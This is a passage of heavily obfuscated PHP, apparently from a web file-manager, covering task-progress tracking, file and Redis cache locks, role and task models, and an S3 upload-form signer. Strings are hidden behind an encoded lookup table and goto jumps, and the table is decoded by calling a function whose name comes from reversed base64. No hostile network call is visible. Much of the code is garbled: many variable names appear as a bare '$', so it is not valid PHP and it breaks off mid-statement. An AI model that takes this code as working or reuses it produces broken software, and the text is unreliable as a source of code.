$this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $֦ =& $_SERVER[ö]; Cache::set($֦[1696] . $this->task[$֦[399]], $, 60); return $; } public static function get($) { $ =& $_SERVER[ö]; $ = self::valueGet($); if (is_array($) && $[$[1700]]) { $ = ActionApply($[$[1700]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ی = self::valueGet(); return array_sort_by($ی, $_SERVER[ö][1680], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($ݧ) { return self::changeStatus($ݧ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $̟ =& $_SERVER[ö]; $ҥ = self::listData(); foreach ($ҥ as $٬) { self::kill($٬[$̟[399]]); } sleep(2); foreach ($ҥ as $٬) { self::valueSet($٬[$̟[399]], !1); } } private static function changeStatus($Ԫ, $) { $տ =& $_SERVER[ö]; $ = self::valueGet($Ԫ); if (!$) { return !1; } $[$տ[756]] = $; self::valueSet($Ԫ, $); self::log($տ[1701] . $[$տ[399]] . $տ[1702] . $); return !0; } public static function valueGet($ = false) { $س =& $_SERVER[ö]; $ = defined($س[475]) ? USER_ID : $س[197]; if ($) { $֖ = Model($س[447])->where(array($س[94] => $, $س[33] => $س[1085]))->find(); return $֖ ? json_decode($֖[$س[374]], !0) : !1; } return self::taskListUser($); } public static function taskListUser($ = false) { $ =& $_SERVER[ö]; $ = array($[33] => $[1085]); if ($) { $[$[1676]] = $; } $ݢ = Model($[447])->where($)->select(); $ݢ = $ݢ ? $ݢ : array(); foreach ($ݢ as $ => $) { $ݢ[$] = json_decode($[$[374]], !0); } return $ݢ; } public static function valueSet($, $) { $̠ =& $_SERVER[ö]; if (!$) { return Model($̠[447])->where(array($̠[94] => $, $̠[33] => $̠[1085]))->delete(); } $ = json_encode($); if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($̠[1703] . json_encode_force($)); } if (!$ || !$[$̠[399]]) { return !1; } $芕Ϗ = defined($̠[475]) ? USER_ID : $̠[197]; $ʁ = array($̠[33] => $̠[1085], $̠[1676] => $芕Ϗ, $̠[94] => $, $̠[374] => $); $ل = $̠[1704]; CacheLock::lock($ل); Model($̠[447])->add($ʁ, array(), !0); CacheLock::unlock($ل); } public static function log($Ċ) { if (!GLOBAL_DEBUG) { return; } write_log($Ċ, $_SERVER[ö][1705]); } } goto F; aݯ: function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $̒ =& $_SERVER[ö]; $ό = $GLOBALS[$̒[6]][$̒[349]]; self::$cachePath = $ό[$̒[199]][$̒[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ֲ, $Ȯ = 0) { $ɉ =& $_SERVER[ö]; $Ъ = microtime(!0); $ = $Ъ + $Ȯ + 0.0001; $ = rtrim(self::$cachePath, $ɉ[8]) . $ɉ[877] . md5($ֲ) . $ɉ[874]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $ɉ[878]); if (!$) { return !1; } $̨ = flock($, LOCK_EX | LOCK_NB); self::$caches[$ֲ] = array($ɉ[879] => $, $ɉ[199] => $); fwrite($, $); clearstatcache(); if ($ && $̨) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($ֲ); return !1; } public function lockGet($ڒ) { $ԟ =& $_SERVER[ö]; $͌ = rtrim(self::$cachePath, $ԟ[8]) . $ԟ[877] . md5($ڒ) . $ԟ[874]; return file_exists($͌); } public function unlock($) { $Æ =& $_SERVER[ö]; $ڽ = self::$caches[$]; if (!$ڽ) { return; } @flock($ڽ[$Æ[879]], LOCK_UN); @fclose($ڽ[$Æ[879]]); @unlink($ڽ[$Æ[199]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($·, $К = 10) { $ӑ = Cache::init(); $愺 = microtime(!0) + $К; while (microtime(!0) < $愺) { $ = $ӑ->get($·); if (!$) { $ = $ӑ->setLock($·, $愺, $К); if ($) { return !0; } } else { if ($ < microtime(!0)) { $ӑ->set($·, $愺, $К * 2); if ($ӑ->get($·) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($㴶) { return Cache::init()->get($㴶); } public function unlock($ʗ) { return Cache::init()->remove($ʗ); } } goto b; c: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\x2e\x72\x6f\154\145\114\151\163\x74"; public $field = array("\156\x61\155\x65", "\x61\165\164\150", "\x6c\x61\142\145\x6c", "\144\x69\x73\160\x6c\x61\171", "\163\x79\x73\x74\x65\x6d", "\x64\145\163\143", "\151\x67\x6e\x6f\162\145\105\x78\x74", "\x69\x67\156\157\x72\145\106\x69\154\145\123\151\x7a\145", "\141\144\155\151\156\x69\163\x74\162\141\164\x6f\x72", "\x73\x6f\162\x74"); public function listData($ = false, $ = "\163\157\x72\164", $Ǘ֍ = false) { $Ӊ =& $_SERVER[ö]; $ = parent::listData($, $, $Ǘ֍); if (!$) { foreach ($ as $ => $職ƣ) { if ($職ƣ[$Ӊ[2063]] == 1) { $[$][$Ӊ[453]] = LNG($Ӊ[2297]); } } } return $; } public function update($, $) { $ЉƦ =& $_SERVER[ö]; $˷ = parent::listData($); $͞ = $this->findByName($[$ЉƦ[32]]); if (!$˷ || $͞ && $͞[$ЉƦ[399]] != $˷[$ЉƦ[399]]) { return !1; } if ($͞[$ЉƦ[2063]] == 1) { $ = array($ЉƦ[32] => $[$ЉƦ[32]], $ЉƦ[1888] => $[$ЉƦ[1888]]); } $this->filterAuth($[$ЉƦ[413]]); return parent::update($, $); } public function remove($˦) { $ = parent::listData($˦); if (!$ || $[$_SERVER[ö][1299]]) { return !1; } return parent::remove($˦); } public function add($ǁ) { $쨗 =& $_SERVER[ö]; $ = $ǁ[$쨗[32]]; if ($this->findByName($)) { return !1; } $ʌ = array($쨗[420] => $, $쨗[1871] => $쨗[12], $쨗[1867] => $쨗[1875], $쨗[2298] => 1, $쨗[1870] => 0, $쨗[2299] => 0, $쨗[1869] => $this->getSort()); $ǁ = array_merge($ʌ, $ǁ); $this->filterAuth($ǁ[$쨗[413]]); return parent::insert($ǁ); } private function getSort() { $ǖ =& $_SERVER[ö]; $ = parent::listData(); $ɷ = array_to_keyvalue($, $ǖ[12], $ǖ[1889]); return empty($ɷ) ? 0 : max($ɷ) + 1; } private function filterAuth(&$) { $ń =& $_SERVER[ö]; $ = array(); $ˍ = array_filter(explode($ń[50], $)); foreach ($ˍ as $) { $ = explode($ń[10], $); if ($[0] == $ń[2300] && $[1] != $ń[1205]) { $ݖ = $[0] . $ń[10] . $[1] . $ń[2301]; if (!in_array($ݖ, $ˍ)) { $[] = $ݖ; } } $[] = $; } $ = implode($ń[50], $); } public function findRoleDefault() { $ =& $_SERVER[ö]; $ = parent::listData(); $ʣǝ = !1; foreach ($ as $) { if (!$ || $[$[1887]] == $[197] || $[$[2063]] == 1) { continue; } if (strstr($[$[413]], $[2302])) { continue; } if (!strstr($[$[413]], $[2303])) { continue; } if (!$ʣǝ) { $ʣǝ = $; continue; } $Ű = explode($[50], $ʣǝ[$[413]]); $Ί = explode($[50], $[$[413]]); if (count($Ű) > count($Ί)) { $ʣǝ = $; } } return $ʣǝ ? $ʣǝ[$[399]] : $[12]; } public function sort($, $) { return parent::update($, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\155\x2e\x74\x61\x73\x6b\x4c\151\x73\x74"; public $field = array("\156\x61\155\x65", "\164\x79\160\x65", "\145\166\145\156\164", "\x74\x69\155\x65", "\x64\x65\x73\x63", "\x73\x79\x73\164\x65\x6d", "\145\x6e\141\x62\x6c\x65", "\x6c\x61\x73\164\x52\165\156", "\163\x6f\162\164"); public function listData($笗 = false, $ = "\163\157\162\164", $ = false) { return parent::listData($笗, $, $); } public function add($) { $ =& $_SERVER[ö]; $ړ = $this->findByName($[$[32]]); if ($ړ) { return !1; } $[$[1636]] = 0; $[$[1889]] = $this->getSort(); return parent::insert($); } private function getSort() { $ʄ =& $_SERVER[ö]; $б = parent::listData(); $ = array_to_keyvalue($б, $ʄ[12], $ʄ[1889]); return empty($) ? 0 : max($) + 1; } public function update($բ, $Ĝ) { $˜ =& $_SERVER[ö]; $ = $this->listData($բ); $ = $this->findByName($Ĝ[$˜[32]]); if (!$ || $ && $[$˜[399]] != $[$˜[399]]) { return !1; } return parent::update($բ, $Ĝ); } public function remove($, $ = false) { $ =& $_SERVER[ö]; $ = $this->listData($); if (!$) { return; } if (!$ && $[$[1299]] == $[88]) { return !1; } return parent::remove($); } public function enable($, $ޕ) { return $this->update($, array($_SERVER[ö][2292] => $ޕ)); } public function run($¤) { return $this->update($¤, array($_SERVER[ö][2304] => time())); } } goto fى; BБ: class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $흷 = false) { $ =& $_SERVER[ö]; return Action($[1189])->sharePathInfo($this->pathParse[$[84]], !0, $흷); } public function listPath($ܰ, $Ç煥 = false) { $鯤 =& $_SERVER[ö]; $ = IO::listPath($ܰ, $Ç煥); if (!$) { return $; } if (is_array($[$鯤[1359]])) { $¨ = Action($鯤[1368])->parsePathChildren($[$鯤[1359]], array($鯤[421] => $ܰ)); $[$鯤[1359]] = Action($鯤[1189])->shareItemInfo($¨); } foreach ($ as $̝ݧ => $ք) { if (!in_array($̝ݧ, array($鯤[83], $鯤[82]))) { continue; } foreach ($ք as $ => $¨) { $¨ = Action($鯤[1368])->parsePathChildren($¨, array($鯤[421] => $ܰ)); $[$̝ݧ][$] = Action($鯤[1189])->shareItemInfo($¨); } } return $; } public function listAll($ֳّ) { $ =& $_SERVER[ö]; $ = IO::listAll($ֳّ); foreach ($ as &$) { $Ԣ = IO::info($[$[84]]); $Ԣ = is_array($Ԣ) ? $Ԣ : array(); $ = array_merge($Ԣ, $); $[$[86]] = Action($[1189])->shareItemInfo($); } unset($); return $; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($Έ) { parent::__construct($Έ); $this->signatureVersion($_SERVER[ö][216]); } public function uploadFormData($ܲ, $ = 3600) { $ =& $_SERVER[ö]; $Ϻ = $[198]; $ = $[1369]; $ϭ = $[62]; $蛏 = gmdate($[1370]); $ = gmdate($[757]); $ة = $[1371]; $ڻ = $ . $[12]; $ = $[1333]; $䲱 = array($this->accessKey, $, $this->region, $ϭ, $ة); $ = implode($[8], $䲱); $֝ = array($[1335] => gmdate($[1334], strtotime($[1372])), $[1336] => array(array($[1338] => $this->bucket), array($[1337] => $Ϻ), array($[1339], $[1340], $[12]), array($[1339], $[1373], $[12]), array($[1339], $[1374], $[12]), array($[1341] => $), array($[1375] => $), array($[1376] => $), array($[1377] => $蛏), array($[1378] => $ڻ))); $έ = base64_encode(json_encode($֝)); $žݨ = hash_hmac($[1379], $, $[1380] . $this->secret, !0); $ג = hash_hmac($[1379], $this->region, $žݨ, !0); $ = hash_hmac($[1379], $ϭ, $ג, !0); $ۊƎ = hash_hmac($[1379], $ة, $, !0); $߹㉴ = hash_hmac($[1379], $έ, $ۊƎ); $ة = array($[215] => $[12], $[1381] => $[12], $[1337] => $Ϻ, $[1341] => $, $[1345] => $έ, $[1382] => $, $[1383] => $, $[1384] => $蛏, $[1385] => $ڻ, $[1386] => $߹㉴, $[181] => $this->getHost()); return $ة; } } goto aᩂ; DК: $fileSize = strrev(base64_decode($_SERVER[ۮݐ][0])); function binCheckNeq($½, $щ) { return $½ != $щ; } $_SERVER[$_SERVER[ۮݐ][1]] = $fileSize($_SERVER[$_SERVER[ۮݐ][2]]); goto C; F: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[ö]; $݂Ȍ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1706], array($this, $[1707])); Hook::bind($[1238], array($this, $[1708])); Hook::bind($[1709], array($this, $[1710])); Hook::bind($[604], array($this, $[1711])); Hook::bind($[605], array($this, $[1712])); Hook::bind($[610], array($this, $[1713])); Hook::bind($[611], array($this, $[1714])); Hook::bind($[607], array($this, $[1715])); Hook::bind($[608], array($this, $[1716])); Hook::bind($[574], array($this, $[1717])); Hook::bind($[571], array($this, $[1717])); Hook::bind($[576], array($this, $[1717])); Hook::bind($[578], array($this, $[1717])); Hook::bind($[580], array($this, $[1717])); Hook::bind($[1718], array($this, $[1719])); Hook::bind($[597], array($this, $[1720])); $this->sourceModelCopyFlag = !1; Hook::bind($[1721], array($this, $[1722])); Hook::bind($[1723], array($this, $[1724])); Hook::bind($[1725], array($this, $[1726])); $݂Ȍ[$[1727]] = LNG($[1728]); $݂Ȍ[$[1729]] = 0; $݂Ȍ[$[1730]] = 0; $݂Ȍ[$[1078]] = $[12]; $݂Ȍ[$[1731]] = $[12]; $݂Ȍ[$[1732]] = 0; $݂Ȍ[$[1733]] = 0; $݂Ȍ[$[1734]] = 0; if (!$݂Ȍ[$[1576]]) { $݂Ȍ[$[1576]] = LNG($[1735]); } } protected function endAfter() { $ =& $_SERVER[ö]; Hook::unbind($[1706], array($this, $[1707])); Hook::unbind($[1238], array($this, $[1708])); Hook::unbind($[1709], array($this, $[1710])); Hook::unbind($[604], array($this, $[1711])); Hook::unbind($[605], array($this, $[1712])); Hook::unbind($[610], array($this, $[1713])); Hook::unbind($[611], array($this, $[1714])); Hook::unbind($[607], array($this, $[1715])); Hook::unbind($[608], array($this, $[1716])); Hook::unbind($[574], array($this, $[1717])); Hook::unbind($[571], array($this, $[1717])); Hook::unbind($[576], array($this, $[1717])); Hook::unbind($[578], array($this, $[1717])); Hook::unbind($[580], array($this, $[1717])); Hook::unbind($[1718], array($this, $[1719])); Hook::unbind($[597], array($this, $[1720])); Hook::unbind($[1721], array($this, $[1722])); Hook::unbind($[1723], array($this, $[1724])); Hook::unbind($[1725], array($this, $[1726])); } public function copyMoveStart($ɫ, $ɨ, $뫹Ȓ, $݁) { $κ =& $_SERVER[ö]; self::log($κ[1736] . $ɨ . $κ[70] . $݁); $٣▥ = rtrim(TEMP_FILES, $κ[8]); if (substr($ɨ, 0, strlen($٣▥)) == $٣▥) { return; } if (substr($݁, 0, strlen($٣▥)) == $٣▥) { return; } $ =& $this->task; $[$κ[1737]] = KodIO::transferType($ɫ, $뫹Ȓ); $this->update(); } public function updateAfter() { $ =& $_SERVER[ö]; $ =& $this->task; if (!$[$[769]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1737]] == $[1327]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[ö]; if ($[$[1737]] == $[1209] || $[$[1737]] == $[107]) { if ($[$[1731]]) { $[$[1734]] = $[$[1733]] + $[$[1730]]; } } else { if ($[$[1737]] == $[1328]) { if ($[$[1731]] == $[1209]) { $[$[1734]] = $[$[1733]] + $[$[1730]] * 0.5; } else { if ($[$[1731]] == $[107]) { $[$[1734]] = $[$[1733]] + $[$[1729]] * 0.5 + $[$[1730]] * 0.5; } } } } $[$[1678]] = $[$[1734]] / $[$[769]]; if ($[$[1678]] > 0) { $ = timeFloat() - $[$[1680]] - $[$[1683]]; $[$[1684]] = $ * (1 - $[$[1678]]) / $[$[1678]]; } } public function addPath($) { $ =& $_SERVER[ö]; if (!$) { return; } $ =& $this->task; $ٚø = IO::infoWithChildren($); $ۏ = $[$[1738]] ? $[$[1738]][$[1739]] : 0; $[$[1738]] = array($[1739] => $ۏ + 1, $[420] => $ٚø[$[32]], $[84] => $ٚø[$[84]], $[519] => $ٚø[$[519]] ? $ٚø[$[519]] : $ٚø[$[84]]); if ($ٚø[$[33]] == $[199]) { $[$[792]] += 1; } else { $[$[792]] += $ٚø[$[79]][$[77]]; if ($ٚø[$[402]]) { $[$[792]] += $ٚø[$[79]][$[78]] + 1; } } $[$[769]] += $ٚø[$[76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($Ȝ) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($ޓ) { $ =& $_SERVER[ö]; $Ѵ =& $this->task; $Ѵ[$[1729]] = $ޓ[$[76]]; $Ѵ[$[1727]] = $ޓ[$[32]]; $Ѵ[$[1078]] = $ޓ[$[32]]; $Ѵ[$[1740]] = $ޓ[$[84]]; $this->update(); } public function sourceAddFileEnd($ڒ) { $ =& $_SERVER[ö]; $ =& $this->task; $[$[1734]] += $ڒ[$[76]]; $[$[1740]] = $ڒ[$[84]]; $this->update(1); } public function copyFileStart($, $ݣ, $˷, $حʌؘ, $, $) { $ =& $_SERVER[ö]; $ɱ = $; if ($ɱ == $GLOBALS[$[1741]]) { $ɱ = $GLOBALS[$[1742]]; } $GLOBALS[$[1742]] = $; $GLOBALS[$[1741]] = $; $ =& $this->task; $[$[1727]] = $ɱ; $[$[1729]] = (int) $->size($ݣ); $[$[1730]] = 0; $[$[1078]] = $[12]; $[$[1731]] = $[12]; $[$[1732]] = 0; $뜀 = $[$[1729]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[399]] . $[1743]); if ($뜀 && file_exists(get_path_father($حʌؘ))) { Cache::set($[$[399]] . $[1743], $حʌؘ); $[$[1700]] = array($[1744], $[1745]); } $this->update(0, $뜀); } public static function updateCopyLocalFileSize($솥) { $ =& $_SERVER[ö]; $ = Cache::get($솥[$[399]] . $[1743]); if (!$ || !file_exists($)) { return $솥; } $솥[$[1730]] = @filesize($); $솥[$[1734]] += $솥[$[1730]]; self::updateTask($솥); return $솥; } public function copyFileEnd($ޛ, $ѭ, $۰Ó, $ȥ, $, $݂Ċ) { $त =& $_SERVER[ö]; $ =& $this->task; $[$त[1730]] = $[$त[1729]]; $[$त[1731]] = $त[12]; unset($[$त[1700]]); if ($ == $[$त[1727]]) { $[$त[1733]] += $[$त[1729]]; $[$त[1734]] = $[$त[1733]]; $ʐ = 1; if (isset($[$त[1740]]) && $[$त[1740]] == $ѭ) { $ʐ = 0; } $this->update($ʐ); } else { $this->update(); $[$त[1730]] = 0; } Cache::remove($[$त[399]] . $त[1743]); self::log($त[1746] . $ѭ . $त[70] . $ȥ . $त[231] . $ . $त[1747] . $[$त[1727]]); } public function updateFileEnd($, $ї) { $ =& $_SERVER[ö]; $ෲ =& $this->task; $ෲ[$[1727]] = $; $ෲ[$[1729]] = $ї; $ෲ[$[1733]] += $ї; $ෲ[$[1734]] = $ෲ[$[1733]]; $this->update(1); self::log($[1748] . $); } public function sourceModelCopy($) { $ =& $_SERVER[ö]; $ = $[0]; $Щ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $̩ = 0; switch ($) { case $[572]: $̩ = 1; break; case $[575]: $[$[1727]] = $Щ[$[32]]; break; case $[577]: $̩ = intval($[$[380]] * 0.4); break; case $[579]: $̩ = intval($[$[380]] * 0.2); break; case $[581]: $̩ = intval($[$[380]] * 0.4); break; } $this->update($̩); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ǖ, $) { $ =& $_SERVER[ö]; $this->sourceModelCopyFlag = !0; $Μ = 1; if (isset($ǖ[$[79]])) { $Μ = $ǖ[$[79]][$[77]]; $Μ = $Μ + $ǖ[$[79]][$[78]] + 1; } $this->update($Μ); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($ڿ, $, $垏, $Г°, $Ӗ) { $ެ =& $_SERVER[ö]; $Ь =& $this->task; if ($Ӗ > 0) { $Ь[$ެ[1078]] = $ެ[1749]; $Ь[$ެ[1731]] = $ެ[107]; if ($Ь[$ެ[1729]]) { $Ь[$ެ[1730]] = $Ӗ; } if ($Ь[$ެ[1732]]) { $Ь[$ެ[1730]] = $Ӗ + $Ь[$ެ[1732]]; } } else { if ($垏 > 0) { if ($Ь[$ެ[1729]] == $) { $Ь[$ެ[1730]] = $垏; $Ь[$ެ[1078]] = $ެ[1750]; $Ь[$ެ[1731]] = $ެ[1209]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($ӥ) { $搅 =& $_SERVER[ö]; $ =& $this->task; $ = curl_getinfo($ӥ); $ = $[$搅[1751]]; if ($ == -1) { $ = $[$搅[1752]]; } if ($[$搅[1731]] == $搅[107] && $) { $[$搅[1732]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[ö]; $ĥ =& $this->task; $ĥ[$[1753]] = 1; Hook::bind($[1721], array($this, $[1754])); Hook::bind($[1723], array($this, $[1755])); Hook::bind($[1725], array($this, $[1756])); } protected function endAfter() { $Ѝ =& $_SERVER[ö]; Hook::unbind($Ѝ[1721], array($this, $Ѝ[1754])); Hook::unbind($Ѝ[1723], array($this, $Ѝ[1755])); Hook::unbind($Ѝ[1725], array($this, $Ѝ[1756])); } public function progressStart($栢) { $̂ =& $_SERVER[ö]; $֙Ø = curl_getinfo($栢); self::log($̂[1757] . $֙Ø[$̂[307]]); self::valueSet($this->task[$̂[399]], $this->task); } public function progressEnd($) { $䴇 =& $_SERVER[ö]; self::log($䴇[1758] . $this->task[$䴇[399]]); $this->end(); } public function progress($࠼, $τȢ, $ئ, $ķ, $) { $ԁ =& $_SERVER[ö]; $ =& $this->task; if ($ > 0) { $[$ԁ[792]] = $[$ԁ[792]] == 0 ? $ķ : $[$ԁ[792]]; $[$ԁ[1677]] = $; } else { if ($ئ > 0) { $[$ԁ[792]] = $[$ԁ[792]] == 0 ? $τȢ : $[$ԁ[792]]; $[$ԁ[1677]] = $ئ; } } $this->update(); self::log("\160\x72\157\147\162\145\163\x73\110\164\x74\x70\72\144\x6f\x77\x6e\72{$ئ}\57{$τȢ}\x3b\40\x75\160\x6c\157\141\x64\x3a{$}\57{$ķ}\73"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[ö]; $ǿ = new Task($, $, $, $); $GLOBALS[$[1759] . $] = new TaskLog($[1660], $ǿ, $); return $ǿ; } public function __construct($Ɍ = '', $ܝ = '', $О = '') { $ɡ =& $_SERVER[ö]; if (!$Ɍ) { $Ɍ = $ɡ[1660]; } $뙮 = $Ɍ . $ɡ[386] . rand_string(10); if (!$О) { $О = $Ɍ . $ɡ[53] . $О; } switch ($Ɍ) { case $ɡ[1660]: if (!$ܝ || !$ܝ->task) { return echoLog($Ɍ . $ɡ[1760]); } $ʴ = $ܝ; $뙮 = $ʴ->task[$ɡ[399]]; $Ɍ = $ʴ->task[$ɡ[399]]; if (!$ʴ->task[$ɡ[1576]]) { $ʴ->task[$ɡ[1576]] = $О ? $О : $Ɍ; } break; case $ɡ[1761]: if (!$ܝ) { return echoLog($Ɍ . $ɡ[1762]); } $й = is_string($ܝ) ? array($ܝ) : $ܝ; $ʴ = new TaskFileTransfer($뙮, $Ɍ, 0, $О ? $О : $й[0]); foreach ($й as $ȗۘ) { $ʴ->addPath($ȗۘ); } break; case $ɡ[313]: if (!$ܝ) { return echoLog($Ɍ . $ɡ[1762]); } $й = is_string($ܝ) ? array($ܝ) : $ܝ; $ʴ = new TaskZip($뙮, $Ɍ, 0, $О ? $О : $й[0]); foreach ($й as $ȗۘ) { $ʴ->addPath($ȗۘ); } break; case $ɡ[1229]: if (!$ܝ) { return echoLog($Ɍ . $ɡ[1762]); } $ʴ = new TaskUnZip($뙮, $Ɍ, 0, $О ? $О : $ܝ); if ($ܝ) { $ʴ->addFile($ܝ); } break; case $ɡ[148]: $ʴ = new TaskHttp($뙮, $Ɍ); break; default: return; break; } $this->task = $ʴ; $this->taskID = $뙮; Hook::bind($ɡ[1697], array($this, $ɡ[1763])); Hook::bind($ɡ[1699], array($this, $ɡ[1764])); Hook::bind($ɡ[1693], array($this, $ɡ[1765])); echoLog($ɡ[1766] . $ʴ->task[$ɡ[1576]]); } public function __destruct() { $this->end(); } public function end($бǍ = '') { $ϑͧ =& $_SERVER[ö]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($бǍ); $this->task = !1; $this->taskID = !1; Hook::unbind($ϑͧ[1697], array($this, $ϑͧ[1763])); Hook::unbind($ϑͧ[1699], array($this, $ϑͧ[1764])); Hook::unbind($ϑͧ[1693], array($this, $ϑͧ[1765])); } public function taskUpdate($˱) { $驪ڰ =& $_SERVER[ö]; if (!$˱ || $this->taskID != $˱[$驪ڰ[399]]) { return; } $ҙ = 20; $ = intval($˱[$驪ڰ[1678]] * $ҙ); $ = $驪ڰ[162] . str_repeat($驪ڰ[898], $) . $驪ڰ[1028] . str_repeat($驪ڰ[53], $ҙ - $) . $驪ڰ[164]; $ȶ݈ = $ . sprintf($驪ڰ[1767], $˱[$驪ڰ[1678]] * 100) . $驪ڰ[1768]; $ = $ȶ݈ . $˱[$驪ڰ[1677]] . $驪ڰ[8] . $˱[$驪ڰ[792]] . LNG($驪ڰ[1769]); $Ҝǟ = $驪ڰ[12]; if ($˱[$驪ڰ[1753]]) { $ = $ȶ݈ . size_format($˱[$驪ڰ[1677]]) . $驪ڰ[8] . size_format($˱[$驪ڰ[792]]); $Ҝǟ = size_format($˱[$驪ڰ[1679]]) . $驪ڰ[1770]; } if ($˱[$驪ڰ[1078]]) { $˱[$驪ڰ[1727]] = $˱[$驪ڰ[1078]] . $驪ڰ[53] . $˱[$驪ڰ[1727]]; } if ($˱[$驪ڰ[1727]]) { $ᯊ = $驪ڰ[12]; if ($˱[$驪ڰ[1729]]) { $ᯊ = size_format($˱[$驪ڰ[1730]]) . $驪ڰ[8] . size_format($˱[$驪ڰ[1729]]); } $Ҝǟ .= $˱[$驪ڰ[1727]] . $ᯊ; } if ($˱[$驪ڰ[769]]) { $Ҝǟ .= $驪ڰ[53] . size_format($˱[$驪ڰ[1734]]) . $驪ڰ[8] . size_format($˱[$驪ڰ[769]]); } echoLog($ . $驪ڰ[53] . $Ҝǟ, !0); } public function taskEnd($Ǒ) { $ =& $_SERVER[ö]; if (!$Ǒ || $this->taskID != $Ǒ[$[399]]) { return; } $ = $Ǒ ? $Ǒ[$[1677]] . $[8] . $Ǒ[$[792]] . LNG($[1769]) . $[71] : $[12]; echoLog($[1771] . $Ǒ[$[1576]] . ($Ǒ[$[453]] ? $[71] . $Ǒ[$[453]] : $[12]) . $[71] . $ . $[1772] . sprintf($[864], timeFloat() - $Ǒ[$[1680]]) . $[1692]); $this->end(); } public function taskKill($Ο) { $ߍ =& $_SERVER[ö]; if (!$Ο || $this->taskID != $Ο[$ߍ[399]]) { return; } echoLog($ߍ[1773] . $Ο[$ߍ[1576]]); } } goto c͝; dیڽ͊: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ۣ, $Ϭ) { $ =& $_SERVER[ö]; if (!class_exists($[883])) { show_json($[884], !1); } $this->cacheTime = $Ϭ; $̴ = isset($ۣ[$[885]]) ? $ۣ[$[885]] : 10; $ο = _get($ۣ, $[882]); if ($ο && is_array($ο)) { $this->initCluster($ۣ, $̴); } else { $this->handle = $this->init($ۣ, $̴); } } private function init($ۨ, $) { $ڇ =& $_SERVER[ö]; $Ӟ = new Redis(); $Ӆໜ = isset($ۨ[$ڇ[886]]) ? $ۨ[$ڇ[886]] : !1; if ($Ӆໜ) { $Ӟ->pconnect($ۨ[$ڇ[181]], $ۨ[$ڇ[182]], $); } else { $Ӟ->connect($ۨ[$ڇ[181]], $ۨ[$ڇ[182]], $); } if (!empty($ۨ[$ڇ[413]])) { $Ӟ->auth($ۨ[$ڇ[413]]); } if (!empty($ۨ[$ڇ[764]]) && $ۨ[$ڇ[764]] != 0) { $Ӟ->select($ۨ[$ڇ[764]]); } return $Ӟ; } private function initCluster($ё, $) { $ˋ =& $_SERVER[ö]; $Ѐ = array($ˋ[887], $ˋ[888], $ˋ[889]); $ = $ˋ[887]; if (isset($ё[$ˋ[16]]) && in_array($ё[$ˋ[16]], $Ѐ)) { $ = $ё[$ˋ[16]]; } switch ($) { case $ˋ[887]: $this->_slave($ё, $); break; case $ˋ[888]: break; case $ˋ[889]: $this->isCluster = !0; $µ珞 = $ё[$ˋ[882]]; $ = isset($ё[$ˋ[886]]) ? $ё[$ˋ[886]] : !1; $ؑ = isset($ё[$ˋ[413]]) ? $ё[$ˋ[413]] : null; $this->handle = new RedisCluster(NUll, $µ珞, $, $, $, $ؑ); break; default: break; } } private function _slave($, $) { $Ǽ = $[$_SERVER[ö][882]]; $this->filterConfig($, $Ǽ[0]); $this->handle = $this->init($, $); unset($Ǽ[0]); if (empty($Ǽ)) { return; } $ס = array_rand($Ǽ); $this->filterConfig($, $Ǽ[$ס]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$ָڀ, $˲) { $۪В =& $_SERVER[ö]; $˶Ҭ = explode($۪В[4], $˲); $ɠӔ = array($۪В[181] => $˶Ҭ[0], $۪В[182] => $˶Ҭ[1]); $ָڀ = array_merge($ָڀ, $ɠӔ); } public function set($, $ު̄, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $ު̄); } public function setLock($ԉ, $, $) { return $this->handle->setNX($ԉ, $); } public function get($Ɋ) { $囪 = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $囪->get($Ɋ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ɶ =& $_SERVER[ö]; $鑗 = $_SERVER[$ɶ[847]]; $虼 = $ɶ[890]; if ($_SERVER[$ɶ[840]] != $虼($鑗)) { $Ц = $ɶ[891]; $ = 